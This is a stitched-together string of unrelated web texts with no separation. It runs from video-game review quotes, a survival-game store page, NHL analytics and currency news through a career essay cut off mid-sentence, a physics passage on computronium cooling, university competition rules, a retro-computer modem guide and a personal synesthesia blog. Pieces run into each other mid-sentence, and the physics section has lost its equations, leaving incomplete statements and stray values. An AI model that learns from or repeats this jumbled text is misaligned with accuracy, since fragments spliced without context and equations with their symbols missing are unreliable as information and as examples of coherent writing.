Super Smash Bros. for Nintendo 3DS Developer: Sora
Sora Platforms: Nintendo 3DS
Nintendo 3DS Release Date: October 3
October 3 Price: $39.99
GameSpot -- 8/10
"I found so much raw joy in my time with Super Smash Bros. 3DS. And even though I played to the point where I was literally in pain, I didn't have to keep playing Smash Bros. 3DS. I wanted to." - Daniel Starkey [Full review]
"While there are definite areas where Nintendo could improve on Super Smash Bros. in an inevitable sequel, this is the most feature-complete, compelling Super Smash Bros. entry to date. It stands right alongside Fire Emblem: Awakening and The Legend of Zelda: A Link Between Worlds as a game that every 3DS owner should play. Even if you can't find a smooth online match, the wealth of single-player and local multiplayer options will keep Super Smash Bros. fresh for months to come, and that's even before you consider the numerous unlockable characters, trophies, items, and any potential DLC the developers might have planned." - Earnest Cavalli [Full Review]
"The outlandish animations continue to delight as the hours pass, and the extraordinarily generous drip-feed of new items, stages, modes, and characters will draw you back in over and over again. This is a lovingly made game, filled with the fruits of hard and caring labour. But it is also a game built on undeniably weak foundations. Anyone who's pulled off Nagare Namikawa's synchronised swimming finishing move in the Rival Schools series or played the Sega Saturn's Pocket Fighter will know that humour and irreverence can be elegantly combined with sturdy fighting mechanics. Super Smash Bros. manages only the humour. Away from the communal focus of the television screen, it's a much weaker joke." - Simon Parkin [Full Review]
"You can never tell how great a fighting game will really be until the public has time to master it, but Super Smash Bros. for Nintendo 3DS has everything it needs to finally get the competitive community to move on from Melee. The new characters are excellent, and the gameplay is smooth, fast, and exciting. Even if you’re a more casual Smash fan, you'll love everything that the 3DS version offers. It's a perfect handheld iteration of one of Nintendo's greatest franchises." - Mike Minotti [Full Review]
"The first handheld installment of the excellent Super Smash Bros. series lives up to incredibly high standards. Like its console siblings, Super Smash Bros. for Nintendo 3DS elegantly packages decades of Nintendo’s best video game mascots into a pick-up-and-play portable game. But the real surprise here is the diverse modes of play that've kept me playing feverishly for days." - Jose Otero [Full Review]
"Super Smash Bros. for 3DS is certainly a surprise package. Packing a substantial amount of content and the same fantastic gameplay as its home console siblings, it gives the forthcoming Wii U version an awful lot to live up to." - Brett Phipps [Full Review]
A list of additional scores from other publications can be found below:DESCRIPTION
All New Raft is now out on Steam!
By yourself or with friends, your mission is to survive an epic oceanic adventure across a perilous sea! Gather debris to survive, expand your raft and be wary of the dangers of the ocean!
Trapped on a small raft with nothing but a hook made of old plastic, players awake on a vast, blue ocean totally alone and with no land in sight! With a dry throat and an empty stomach, survival will not be easy!
Raft throws you and your friends into an epic adventure out on the big open sea, with the
objective to stay alive, gather resources and build yourself a floating home worthy of survival.
Resources are tough to come by at sea: Players will have to make sure to catch whatever debris floats by using their trusty hook and when possible, scavenge the reefs beneath the waves and the islands above. However, thirst and hunger is not the only danger in the ocean… watch out for the man-eating shark determined to end your voyage!
Features:
● Multiplayer! Survive by yourself or with friends in online co-op!
● Hook! Use your hook to catch debris floating by.
● Craft! Build survival equipment, weapons, crop plots and more to help you stay alive!
● Build! Expand your raft from a simple wreckage to a buoyant mansion.
● Research! Learn new things to craft in the research table.
● Navigate! Sail your raft towards new places!
● Dive! Drop anchor and explore the depths for more resources.
● Fight! Defend your raft from the dangers of the ocean.
You can also follow us on several other platforms.
Developers
Semih Parlayan - Programmer
Ellen Mellåker - Artist
André Bengtsson - ArtistFour playoff games were stretched across Saturday. The Rangers roared back to even their series with the Pens, the Flyers fell to the Capitals despite dominating play, the Stars survived the Wild, and the Sharks took another bite out of LA’s hopes and dreams.
Before the game charts, here’s the usual words on reading the graphs:
A couple of notes on reading the charts:
the Corsi differential is based on 5v5 play and is score-adjusted, as per war-on-ice.
players at the top (with bars extending to the right) posted positive differentials (good)
players at the bottom (and to the left) posted negative differentials (bad)
the colour of each bar represents the player’s time on ice (see legend at the bottom)
each players individual Corsi For attempts are included in parentheses a player with a strong C +/- but a (0) for iCF didn’t directly contribute to his strong showing. a player with a weak C +/- but a strong iCF score (i.e. greater than 5) may have been hindered by linemates. Maybe.
like any reasonable person, I don’t believe that Corsi is everything. But it’s a very important part of the everything.
Let’s get at the graphs.
Henrik Lundqvist kept his consecutive playoffs games streak alive. He’s now played all 112 Rangers playoff games dating back to 2006. Incredible.
Brassard led the way in this one and NYR dominated the positive side of the game chart in non-NYR fashion. Klein, Staal, and Miller were all solid pluses too. And Yandle posted 6 iCF (re-sign him, Gorton), while McIlrath and Skjei were very solid (keep them in the lineup, Vigneault).
For the Penguins, only Kessel (6 iCF), Crosby, and Bonino salvaged positive Corsi differentials. Fehr, Daley, and Kuhnackl were the game’s worst.
And no Dan Girardi anywhere. Sigh.
Series tied 1-1.
The Flyers bombed the Capitals. At all-strengths, the Flyers pelted 81 Corsi for on goal while the Capitals managed only 48 CF. The Corsi battle was 61-37 in Philly’s favour at even-strength and 53-37 if you score-adjust.
Wow.
Gudas was a beast (again). He led the way and blasted 8 iCF on goal. The lopsided Coburn for Gudas deal with the Lightning (TB included a 1st and a 3rd round pick with Gudas to acquire Coburn) looks like a big win for the Flyers now.
Kuznetsov was a plus with 6 iCF – he’s always steady to great – but most Caps sunk to the bottom of the game chart. Orpik, Winnik, and Wilson were worst but they weren’t alone.
In the end, Corsi domination didn’t matter as the Flyers were stymied by Holtby and the Caps’ elite.
Caps lead 2-0.
Valeri Nichushkin led the way and Spezza was dominant, mustering 8 iCF. He’s been excellent, especially of late. Sharp, Klingberg, and Goligoski found their way to the top of the game chart as well. And hey there Dumba.
At the other end, Jonas Brodin was awful and Porter wasn’t much better. Both were in the neighborhood of -20 Corsi +/-. Mercifully for the Wild, don’t expect this series to last much longer.
Stars lead 2-0.
Tanner Pearson was the game’s best and Jeff Carter was an animal, registering 9 iCF. Ward and Hertl finished in strong spots too. Gaborik posted 7 iCF (good) but finished near break-even (unusual). He was mixed up in some high-event play.
In the negatives, Karlsson was worst and Nieto, Polak, and Marleau joined him at the bottom of the game chart. No one was beyond -10, so there’s nothing to get very worried about here.
The Sharks head home up two and are making at least one prognosticator feel hopeful.
Sharks lead 2-0.
Read more…
NHL Playoffs Game Charts – Friday, April 15
NHL Playoffs Game Charts – Thursday, April 14
Rush Shots – Why we care and who generates the most
AdvertisementsThe pound has been weakened by the UK's vote last year to leave the EU
The pound has tumbled to an eight-month low against the euro, spelling higher costs for British holidaymakers getting ready for summer breaks.
Sterling slipped close to €1.11 as the euro strengthened in reaction to remarks by European Central Bank (ECB) president Mario Draghi while the UK currency was again buffeted by fears over Brexit.
The pound's dip - of as much as two cents - took it to its lowest level since November 2016.
It will weaken the spending power of British families preparing to flock to Spanish beaches and French campsites when school holidays begin later this week.
Sterling was also lower against the US dollar - at a time when Washington is undergoing its own political turbulence - dipping below $1.30 after spending several days above that level.
But it was the strong performance of the euro that was mainly making waves on currency markets.
It shot higher against the dollar as well as the pound despite the ECB marking no change to interest rates or wider monetary policy guidance at its latest meeting.
Image: European Central Bank President Mario Draghi announced no changes to monetary policy
Traders seized on comments by Mr Draghi that policy makers would discuss changes to its €2tn stimulus programme in the autumn.
The euro has been strengthening recently as signs of an economic recovery on the single currency bloc increase speculation about tightening policy.
Ultra-low interest rates and a huge programme of bond-purchasing, or quantitative easing - effectively pumping money into the economy - were put in place when the economy was in a much more fragile state.
An upturn and return to normality should put an end to the need for this support - and the withdrawal of the stimulus will make the currency a more attractive bet.
Patrick O'Donnell, senior investment manager at Aberdeen Asset Management, said Mr Draghi's comments were his way of endorsing the recent upward trend for the euro - without announcing anything new.
Kathleen Brooks, research director at City Index Direct, said: "No news means no change in the euro's trend, which for now is higher."
Meanwhile on Thursday, the pound was under pressure as "fundamental" differences over EU citizens' rights and the jurisdiction of the European Court of Justice emerged following Brexit talks.
Elsewhere, International Trade Secretary Liam Fox said a bespoke trade deal between Britain and the European Union should be "one of the easiest in human history" to reach but that Britain could "survive" without an agreement.
Earlier, the pound had been buoyed by better than expected official figures on retail sales for June, before the gains faded.Over the past several months, Christopher Nolan and his crew have been all over the world filming arguably the most highly anticipated film to come out of a major studio in years: The Dark Knight Rises. The third film in Nolan’s Batman trilogy has been in Jodhpur, India, London, England, Pittsburgh, Pennsylvania and, most recently, in Los Angeles, California. It’ll soon move to New York, NY – Gotham City itself – to film scenes and, according to the Los Angeles Times, “cast members have been told the shoot could include scenes shot at the Occupy Wall Street protests.”
In the LA Times article, they report the production will be filming for two weeks in New York starting on October 29, according to a casting call issued by producers. That same casting call says the characters will be in “a city besieged by crime and corruption,” which goes right in line with what protesters have been speaking out against in Lower Manhattan for Occupy Wall Street. The group, which has since inspired groups in cities across the country, is hoping to raise awareness of financial corruption against the majority of citizens.
By the time Batman comes into town, the protests will – hypothetically – have been going on for over 40 days. So there’s no guarantee the crowd will be as huge as it has been in recent weeks. Still, as the characters say in Super 8, you’ve got to use what’s available to you. Instead of hiring a bunch of extras, if there are a few hundred people protesting already, it makes sense for Nolan to at least get some second unit footage or use them as a backdrop. Odds are that would be the extent of it, the issues probably wouldn’t be featured in the film.
Do you think this will actually happen? Does it fit? What kind of spy photos might we see?Every career change needs to set up the next one, writes Ken Goldstein.
Few people these days seem to have a lot of choices to make about job opportunities. With national unemployment stuck above 9% for the past 26 months, those who have jobs are largely counting their blessings, and those who don’t are spending most of their waking moments trying to get anything at all, hoping to stay in a field relevant to their expertise and not drain their savings. We all hear the stories of people’s sorrow, hardship, and demoralization. The impact is daunting, and those you meet fighting to pursue their passions and remain financially independent deserve our most sincere empathy. If you have the chance to offer support to a friend or networked acquaintance, do it. Even if all you can do is lend an ear, you may be surprised just how much that outreach is valued and appreciated.
This past week I had the opportunity to lend an ear on a different tangent, helping advise a bright young rising executive on his next career move. I enjoy being able to mentor those whose careers I have watched evolve from anywhere from one to twenty years, and although the last thing in the world I ever want to do (or will do) is tell someone what to do, I do like to put very difficult and often uncomfortable questions in front of people for them to answer, hoping that the thought process leads them to their own answers. My sense is, the better the questions, the better chance you have at improved answers, and anyone who knows me knows that I love to ask questions.
I didn’t know this fellow extremely well, but I had the good fortune of observing his broad range of skills. He called me up and wanted me to help him decide if he should leave his current position and take another offer. Simple enough, right? You have this package and set of circumstances, and the other company is offering that package and set of circumstances. Compare and contrast, make a decision, stay in place or move on. Well, if that’s your framework for making a career decision, I am certainly the wrong person to ask for coaching. First, you don’t need someone else to help you with that framework, you can do that math in your head all by yourself. Second, I would never use that framework, to me it’s a path to an almost certain dead-end.
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Where I begin the process of deciding if you should make a move is with a very simple metaphor: have you ever played pool? If you haven’t, have you ever watched a pro run the table? And if you haven’t, check out Jackie Gleason and Paul Newman in the original 1961 version of The Hustler. But I digress. What you observe in the difference between amateur and professional pool is how the table is run. Amateurs look for the best shot on the table and sink that ball. Pros only take a shot when it lines up their next shot, so after a ball has dropped, there is another ball ready to drop, then another, then another, letting them run the table and only then sink the eight ball. A shot is only good if it sets up the next shot. Period.
That’s the framework I suggest for anyone trying to make a tough career decision: each move has to set up the next move, even if you don’t know where the balls are going to stop moving—which you never will, because our lives are governed by market forces and luck as much as they are our own determination (that’s a lesson humility teaches us). The job and package you have is a known. The package being offered is a known, the job not so much because you haven’t done it yet. What is unknown is where and when you will be at the end of the next job if you take it, and the one after that, and the one after that. Those can never be known, unless you can see the future, in which case you don’t need to have lunch with me.
To have a chance at getting the right decision, you’re going to need to answer three extremely personal questions. Sorry.
The first question I asked this fellow was quite simple: to what do you aspire? If you could see the future, five years out, ten years out, what do you think you want those illusive opportunities in your target sights to be? Force yourself to focus on that, |
the maximal radius for a given maximal temperature is
where is the Stefan–Boltzmann constant. This assumes heat is efficiently distributed in the interior.
If it does computations per volume per second, the total computations are – it really pays off being able to run it hot!
Still, molecular matter will melt above 3600 K, giving a max radius of around km. Current CPUs have power densities somewhat below 100 Watts per cm ; if we assume 100 W per cubic centimetre and $R<29$ cm! If we assume a power dissipation similar to human brains the the max size becomes 2 km. Clearly the average power density needs to be very low to motivate a large system.
Using quantum dot logic gives a power dissipation of 61,787 W/m^3 and a radius of 470 meters. However, by slowing down operations by a factor the energy needs decrease by the factor. A reduction of speed to 3% gives a reduction of dissipation by a factor, enabling a 470 kilometre system. Since the total computations per second for the whole system scales with the size as slow reversible computing produces more computations per second in total than hotter computing. The slower clockspeed also makes it easier to maintain unitary subsystems. The maximal size of each such system scales as, and the total amount of computation inside them scales as. In the total system the number of subsystems change as : although they get larger, the whole system grows even faster and becomes less unified.
The limit of heat emissions is set by the Landauer principle: we need to pay at least Joules for each erased bit. So the number of bit erasures per second and cubic meter will be less than. To get a planet-sized system P will be around 1-10 W, implying for a hot 3600 K system, and for a cold 3 K system.
Active cooling
Passive cooling just uses the surface area of the system to radiate away heat to space. But we can pump coolants from the interior to the surface, and we can use heat radiators much larger than the surface area. This is especially effective for low temperatures, where radiation cooling is very weak and heat flows normally gentle (remember, they are driven by temperature differences: not much room for big differences when everything is close to 0 K).
If we have a sphere with radius R with internal volume of heat-emitting computronium, the surface must have area devoted to cooling pipes to get rid of the heat, where is the amount of Watts of heat that can b carried away by a square meter of piping. This can be formulated as the differential equation:
.
The solution is
.As competition for attention heats up across the web, it’s becoming increasingly important for business owners and web developers to understand and keep up with the latest research, trends, and principles relating to the behavior of online consumers. In the last year, more and more of our most favorite and most used websites updated their designs to meet the ever-changing demands of consumers. This meant incorporating things like responsive design, minimalistic iOS7-inspired user interfaces, and parallax scrolling. These rising design trends are an important part of successfully catering to the needs of your audience, but there are additional factors that need to be considered when thinking about how to design your website in order to keep website visitors coming back and staying longer.
One such factor has to do with eye movement tracking. It’s no secret that we as individuals are very similar when it comes to our behavior online. We like websites that load fast, we like website that have captivating photos and videos, and we like websites that are socially integrated. It’s also true that we tend to view website pages and page content in similar ways. The most effective websites are the ones that understand this truth, and as a result, create a satisfying user experience based on how the average consumer tracks and reads information on webpages.
You might be wondering: how do consumers typically view information on a website, and what do I need to do to my website in order to get the most out of what is known about eye movement online? In the infographic below, we teamed up with our friends over at Crazy Egg to present useful information on eye tracking that can help you improve user experience on your website. We’ll start by outlining the most common viewing pattern most online consumers tend to follow when visiting a website—for example, did you know that 69% of users’ time is spent looking at the left half of a webpage? Next, we’ll explain how eye movement tracking influences web design—logos that are placed on the top left side of a website, for example, are remembered 58.4% more than logos placed in alternative areas. Finally, we’ll present some design tips that you should read through and consider before you begin to work on updating your website.
In order to stay ahead of the game and connect with more prospects online, you need to do more than just have a nice-looking website. You need to spend time learning how consumers think, act, and behave online. We hope you find the information below useful!
To embed this infographic on your own website or blog, copy the code below:What is Three Minute Thesis (3MT)
The Three Minute Thesis is an international competition for higher degree research students to showcase their research. Students present to an audience on what their research is and why it is important in plain language for three minutes, with only a single PowerPoint slide. The winner of the #ANU3MT final will go on to compete in the Asia Pacific final, held at the University of Queensland. In 2016 Joshua Chu-Tan from the John Curtin School of Medical Research won the 3MT Asia Pacific final in Brisbane and in 2014, Rosanna Stevens from the College of Arts and Social Sciences won second place and people's choice in the trans-Tasman final at the University of Western Australia.
Why participate in the 3MT?
The 3MT provides the opportunity for candidates to develop presentation skills that are crucial for a successful career post PhD, inside and outside of academia. If you are curious about the 3MT and developing your presentation skills, come along to the training on offer. There is no expectation on you to compete; we are keen for everyone to develop their skills and confidence with presenting research. Please note, only enrolled ANU HDR candidates may participate in the ANU 3MT Final.
#ANU3MT Final
The #ANU3MT ANU Final will be held on Wednesday 4th September 2019 at 6.00pm in Llewellyn Hall, ANU School of Music. Join us for an evening of smart entertainment and catch a glimpse of the amazing research projects that being conducted on campus by ANU PhD students suitable for whole family. On the night, thirteen finalists will wow you and the judges for the #ANU3MT 2019 crown, $4000 in prize money and a place in the 3MT Asia-Pacific grand final at the University of Queensland.
Prizes
College final
First prize: $1000 research support grant generously supported by Dean, Higher Degree Research
ANU final
First prize: a place in the 3MT 2019 Asia Pacific final and $4000 research support grant generously supported by PARSA
Runner up: $1000 research support grant generously funded by PARSA
People's choice: $500 research support grant generously funded by PARSA
Other finalists: $250 support grant generously funded by PARSA
A prize will be given to a supervisor or panel member nominated by the ANU finalist winner, generously supported by Dean, Higher Degree Research
Asia-Pacific Final
First prize: $5000 research travel grant.
Runner up: $2000 research travel grant
People's choice: $1000 research travel grant
We thank the Dean of Higher Degree Research and the Postgraduate and Research Students' Association (PARSA) for providing the research support grant funding for the College and ANU finals.
Eligibility
Active ANU PhD and Professional Doctorate (Research) candidates who have successfully passed their Submission of thesis proposal for review (TPR; including candidates whose thesis is under submission) are eligible to participate in 3MT competitions at all levels, including the Asia-Pacific 3MT competition. Graduates are not eligible.
MPhil and pre-TPR PhD and Professional Doctorate (Research) candidates who are active in program are eligible to participate in the ANU 3MT competition up to and including the College finals but cannot advance to the ANU 3MT final.
In 2018, a new rule was created to ensure fairness in the competition. ANU 3MT finalists are ineligible for any further competitions, at the school or college level. Instead, we encourage their participation and involvement as role models and ambassadors. Candidates that have participated in a school or college level and have not continued on to the ANU Final are welcome and encouraged to participate at the school or college level again.
Rules
A single static PowerPoint slide is permitted (no slide transitions, animations or'movement' of any description, the slide is to be presented from the beginning of the oration).
No additional electronic media (e.g. sound and video files) are permitted.
No additional props (e.g. costumes, musical instruments, laboratory equipment) are permitted.
Presentations are limited to three minutes maximum and competitors exceeding three minutes are disqualified.
Presentations are to be spoken word (e.g. no poems, raps or songs).
Presentations are to commence from the stage.
Presentations are considered to have commenced when a presenter starts their presentation through movement or speech.
The decision of the adjudicating panel is final.
Judging criteria
At every level of the competition each competitor will be assessed on the judging criteria listed below. Please note that each criterion is equally weighted and has an emphasis on audience.
Comprehension & content
Did the presentation provide an understanding of the background to the research question being addressed and its significance?
Did the presentation clearly describe the key results of the research including conclusions and outcomes?
Did the presentation follow a clear and logical sequence?
Was the thesis topic, key results and research significance and outcomes communicated in language appropriate to a non-specialist audience?
Did the speaker avoid scientific jargon, explain terminology and provide adequate background information to illustrate points?
Did the presenter spend adequate time on each element of their presentation – or did they elaborate for too long on one aspect or was the presentation rushed?
Engagement & communication
Did the oration make the audience want to know more?
Was the presenter careful not to trivialise or generalise their research?
Did the presenter convey enthusiasm for their research?
Did the presenter capture and maintain their audience's attention?
Did the speaker have sufficient stage presence, eye contact and vocal range; maintain a steady pace, and have a confident stance?
Did the PowerPoint slide enhance the presentation – was it clear, legible, and concise?
How to enter the 3MT competition
The first step to competing in the 3MT is to participate in our campus wide training then compete in your School or College competition. Each of the seven Colleges at The Australian National University (ANU) run an in-house competition prior to the ANU final. The winner(s) from each College will receive a $1,000 research support grant and proceed to the ANU final at 6 pm, 4 September 2019 Llewellyn Hall, ANU.
To enquire about 3MT in your College email the following:
ANU College of Arts and Social Sciences: research.students.cass@anu.edu.au
ANU College of Asia and the Pacific: cap.hdr@anu.edu.au
ANU College of Business and Economics: rsointernal.cbe@anu.edu.au
ANU College of Engineering and Computer Science: research.cecs@anu.edu.au
ANU College of Health & Medicine: science.hdr.sa@anu.edu.au
ANU College of Law: researchdegrees.law@anu.edu.au
ANU College of Science: science.hdr.sa@anu.edu.au
Resources
How-to videos
Slide presentation and infographic
How to talk about your thesis in three minutes by Dr Inger Mewburn
Three steps to perfect your thesis pitch
Past #ANU3MT Final Videos
#ANU3MT #ANUHDRThe complaint said they spent tens of thousands of dollars on electronic merchandise. Russian diplomats' Medicaid scam
NEW YORK — Russia's deputy foreign minister says the Russian government is "bewildered" that U.S. authorities would announce criminal charges against Russian diplomats and their wives without reaching out through diplomatic channels first.
Deputy Foreign Minister Sergei Ryabkov made the remarks carried by the Interfax news agency on Thursday after charges were announced in New York City against 49 current and former Russian diplomats and their wives.
Story Continued Below
( Also on POLITICO: Glitch hits D.C. health exchange)
Federal prosecutors said the diplomats and their wives dramatically understated their incomes to qualify for Medicaid assistance. They said the medical expenses helped pay for the delivery of all but five of the 63 babies born to the diplomats and their wives during from 2004 to this year.
Authorities say the Russians spent lavishly on vacations, jewelry and electronics while they claimed poverty.
Follow @politicoTORONTO – After a year-long absence, Atiba Hutchinson has returned to the Canadian national team.
Just how long Hutchinson reamins in the fold hasn’t yet been determined, but coach Octavio Zambrano is holding out hope that Saturday’s friendly against Jamaica at BMO Field won’t be the veteran midfielder’s last game for Canada.
Hutchinson, 34, is one of Canada’s most skilled attacking midfielders, but he’s taken nearly a year off from international duty to focus on his pro career with Turkish club Besiktas. He sat out the CONCACAF Gold Cup earlier this summer as he was dealing with a nagging quad injury, and he also missed a number of friendlies after Canada was eliminated from qualifying for the 2018 World Cup last fall. His previous appearance for Canada came on Sept. 6, 2016 in a World Cup qualifying match against El Salvador in Vancouver.
Zambrano unveiled his team for the Jamaica friendly earlier this month, and Hutchinson’s name was included on the roster. That sparked speculation that Saturday’s contest could be the last of Hutchinson’s international career – a career that has seen the native of Brampton, Ont., score six goals in 77 appearances, and named Canadian player of the year on five occasions.
In a one-on-one interview with Sportsnet, Zambrano revealed that Hutchinson hasn’t made any final decisions about his international career, and that the midfielder remains open to playing for Canada beyond Saturday’s match.
“We spoke about this possibly being his last game, but he really doesn’t have to make that decision now. He can make it later. I told him after our initial conversation that I’d leave it up to him. … He thought it over and called me back and said he’d play [against Jamaica] and we’ll assess after that as time goes by,” Zambrano told Sportsnet.
“The response of Atiba couldn’t have been better because he left the door open. He could have easily said, ‘This is my last game, coach, I’m going to play in front of the Canadian fans and say goodbye.’ But his response was more like, ‘Maybe I can still contribute, and if you think I can, then maybe I will.’ It’s a good situation for us, it’s a good situation for Canada that he hasn’t closed the door.”
Zambrano took over as Canada’s coach back in March, and one of the first things he did was reach out to Hutchinson to try to convince him to return to the national team. Zambrano wanted Hutchinson to play at the Gold Cup – where Canada went on to bow out in the quarter-finals against Jamaica – but the midfielder politely declined the invitation.
It was a constructive conversation, and one that gave Zambrano hope that he’d eventually return to the national team by the end of the year.
“When I first took this job, I called Atiba and told him that I’d like him to come with us to the Gold Cup. At that moment, he told me he thought the national team was no longer in the picture for him because he was hoping to sign a new contract with Besiktas, and he was nursing a quad injury, so he just couldn’t make it. The timing wasn’t right and he was tired, so he wanted to take time off to nurse that injury and to get back healthy. All of that played out fine and I told him the door would always be open to him,” Zambrano explained.
Things changed when Canada Soccer announced in early June that the Reds would host Jamaica in Saturday’s friendly at BMO Field. That lead to Hutchinson reaching out to Zambrano about a possible return.
“Right before I announced the team he called me and asked me if he could and I said of course, 100 per cent. So, we had a long talk about his tenure in the national team, and what’s left of the time he wants to devote to us, and it was a very good, frank discussion,” Zambrano said.
“For the time being, he’s going to be with us and we’re going to take it day to day and game to game. We’ll see how he feels.”
Zambrano leaves no doubt that he hopes Hutchinson decides to keep playing for Canada, and that, despite his age, he can be an asset for the Reds when they begin the qualifying process for the 2022 FIFA World Cup in Qatar.
“You can’t argue with the level he’s playing at, and what his vast experience means to our team, especially with so many youngsters. Whatever he can give us, if he chooses to keep playing for Canada, I know it’s going to be quality,” Zambrano said.
NOTE: I’ll have more with Zambrano on how he’s trying to convince a trio of young prospects – Ballou Tabla (Montreal Impact), Bryan Cristante (Benfica) and Ricardo Ferreira (Braga) – to forego their other international options and commit to playing for Canada. Look for that story Thursday on Sportsnet.With it being BBS Week over on RetroBattlestations, many people are trying to get their retro computers online so they can connect to a BBS over the Internet. One reason for wanting to connect over the internet is because phone calls cost money, and for others (like me), we don't even have a phone line to use with a modem anymore. Some of the discussion has pointed to some specialized serial to Ethernet or serial to WiFi adapters. Those boxes can be over $300 so I thought I’d put together a quick guide on how to get an older computer “connected to the Internet.” This method will work for computers that have an RS232 port, and will use a Raspberry Pi to act as an intermediary to gate to the Internet and costs a lot less.
Obviously the first thing you’re going to need is a retro computer with an RS232 port. RS232 is pretty much the lowest common denominator in terms of communications standards. Many computers came with some kind of serial port which could do RS232, and most of the rest could get one as an add-on.
Besides the retro computer, other things you will need are:
Raspberry Pi
null modem cable
USB to serial adapter
Terminal Emulation software for your retro computer
First thing to do is get your Raspberry Pi setup and get it on your network. Plug the USB to serial adapter into your Raspberry Pi, and then use your null modem cable to connect your retro computer to the USB serial adapter. Get into a shell on the Raspberry Pi, and type in:
sudo apt-get install tcpser
Fire up your terminal emulation software on your retro computer and find out what the maximum speed it can handle is. Back on the Raspberry Pi, run this command:
tcpser -s <maxspeed> -d /dev/ttyUSB0
Your Raspberry Pi will now show up as a modem to your retro computer. With a WiFi module on your Raspberry Pi, you can now connect your retro computer wirelessly to the Internet. If you are able to type commands to the modem, enter AT and you should see an OK show up. You can “dial out” to other computers by putting in hostname:port instead of a phone number.
ATDTbbs.fozztexx.com:6502
If everything is working, you should soon see yourself connected to my BBS. Since tcpser emulates a modem, you can use any software on your retro computer which expects to communicate over a modem. You can use it to transfer files from newer computers to your old computer, or copy files from old floppies and put them in the cloud. You can call out to other BBSs, or even setup your own BBS and let people connect to your retro computer. One downside to tcpser though is that the version that comes with the Pi doesn't support connecting to a true telnet server, so it won't give you shell access. (See my update below to fix the telnet bug.)
The hardest part of this setup will probably be the null modem cable. Finding a cable that has the right connector to match your retro computer may not be easy. While many manufacturers put on ports that were compatible with RS232 electrically, not too many used a standard connector. I have computers that use a fairly standard DB25, others that use a DIN connector or a mini-DIN connector, some that use a DE9 connector, and at least one that uses a headphone connector! And just because a computer used a DB25 or DE9, that doesn’t mean they used a standard pinout. An old Mac DE9 is not wired the same as the DE9 on a PC. The DE9 on an Atari 850 serial box uses a completely different pinout.
Update 2016-05-25:
I've fixed the bug with connecting to real telnet servers, incorporated geneb's echo and port changes, and added parity support to tcpser. You can get my updates to tcpser from here.
Update 2016-06-17:
I've posted instructions on how you can use tcpser to do ssh too.
"On the line." "Online." "On the line." "Online." "On the line." "Online." "On the line."Some of you may have heard of synesthesia before. While it is of course not exactly how The Onion depicts it, there are many forms of synesthesia and people who have it (about 3.7% of the population) can have one or many of the 60+ forms.
Synesthesia is a neurological occurrence in which the stimulation of one sensory or cognitive input leads to another automatic and involuntary sensory or cognitive output. The classic example, which I still remember from the first time I heard about synesthesia, is a child asking her classmate, “Isn’t the letter A the prettiest pink?” In this case, the cognitive input is the child reading the letter ‘A’ on the page, and every time she does so, she sees it as a particular color pink, which is her cognitive output.
As I said before, there are at least 60 types of synesthesia, as there are so many sensory inputs to experience—sight, sound, taste, smell, touch being just a few of the basics—and just as many sensory outputs as a result. In all of the cases, synesthesia results in an addition of senses, not a replacement. Therefore seeing the letter ‘A’ (also known as a grapheme) did not mean the child saw a splotch of pink in her book; rather, she saw the letter ‘A’ as the rest of us do, but she additionally saw the color pink. According to one source, this grapheme-color synesthesia is present for 62.51% of all synesthetes, making it the most common form of all synesthesia.
Now that I’ve given you a brief understanding of this as a whole, it’s time to bring it back home. As you may have guessed from the title of this post, I do have synesthesia; however I do not have this most common form, and although I’ve known about the condition for years, I never realized until this past year that I was one of the 3.7%.
Realization
For years upon hearing of synesthesia, I generally thought there was only the grapheme-color, grapheme-personification, and music-color. Being a musically and artistically inclined person, I was naturally drawn to the music-color one, as I didn’t see many downfalls of it. Besides the general idea of “wow, seeing colors while listening to music would be cool!,” I thought it would make things easier in singing and music theory as it would probably give me perfect pitch (That note sounds green—must be a C# then!). Beyond this however, my knowledge of synesthesia was slim and since I didn’t have these types, I assumed I didn’t have any of it.
But then one night as I lay awake in my dorm room attempting to fall asleep, I felt my leg jerk as it sometimes does while I try to fall asleep. Instead of putting it out of my mind, I picked up my phone and scoured the Internet for a reason why this happened. I then came along this page which explains all the things the brain and body does during the transitional stage from wakefulness to sleep, also known as hypnagogia. I learned that what I was looking for is called the hypnagogic jerk, and also learned about the Tetris effect that I have experienced many times after being at the ocean for hours.
The most notable thing I found tucked away in this article was one particular sentence: “Sometimes there is synesthesia [when falling asleep]; many people report seeing a flash of light or some other visual image in response to a real sound.” As I read this, I realized I experience this all the time while trying to fall asleep in a dorm room—someone slams their door, I see a flash of white light. If the radiator makes a surprising click, I see another flash of white light.
I then understood that there were many more types of synesthesia than I thought, and not to self-diagnose, but I probably had at least one of them. Since that day I have periodically researched synesthesia on my own and found that I definitely have four types, and possibly even six or more, though these two extra are questionable. Since I didn’t want to diagnose myself (I am definitely not a doctor), I did talk to my neurologist that I see for migraines and asked her what she thought of what I experienced, and she did agree with me that I have it based on what I told her.
My types
The first type I have is general sounds to colors, which makes up about 14.72% of the synesthete population. This includes hearing someone slam a door or hearing the radiator click and simultaneously seeing a flash of white light as I already mentioned. Sometimes I’ve also noticed that when the radiator makes a more metallic click I see cyan. Once, when my teeth were hurting, the radiator clicked and I saw wavy lines instead of a flash of light. Unfortunately, these sounds happen so quickly that it’s difficult for me to tell what I am seeing. I haven’t seen fireworks since I realized I have synesthesia, but I think this is perhaps why I never liked them as a child as I remember complaining that they were too loud and bright.
The second type I have is kinetics to sounds. The list I have says this is about 1.07% of the synesthete population, however there may be a lot more people who have this than scientists thought. The main result of this is when I see something move I hear accompanying sound effects, even if the object isn’t supposed to make sound. For example, if I see a computer screensaver moving, I may hear a whooshing sound. Sometimes I leave a webpage open on my computer that has movement such as.gifs and when I see it moving out of the corner of my eye for a while, I find myself having to take it off the screen because the sound is too annoying.
Opposite of this, sometimes when I hear sounds I see movement in my mind’s eye. This sound to kinetics type is present in about 1.05% of synesthetes. This tends to happen when sounds change from pitch to pitch; for example, if the faucet is dripping and it makes two distinct drip sounds, I will see an up-to-down movement, with the lower-pitched sound correlating with “down” and the higher-pitched sound correlating with “up.” This also translates to another type, musical sounds to spatial coordinates, which occurs for an unknown percentage of synesthetes. When I am listening to music, particularly with music that I know fairly well, it is almost like I’m seeing a miniature roller coaster in front of me in my mind’s eye, but there is no visible track, just the movement of an intangible object moving in various infinite directions.
The last definite type of synesthesia I have is called “ticker-tape,” which occurs in about 21.91% of the synesthete population. When I speak or hear someone else speak, it is almost as if I have captions running across my vision. Because of this, the spelling of names are important to me. Somehow “Kaitlin” and “Katelyn” sound different from one another. I’ve also realized that my want for captions while watching television or movies is for good reason—if I have captions made for me by a computer, my mind doesn’t have to think as much to create its own captions, as the ones on the screen replace the ones in my mind.
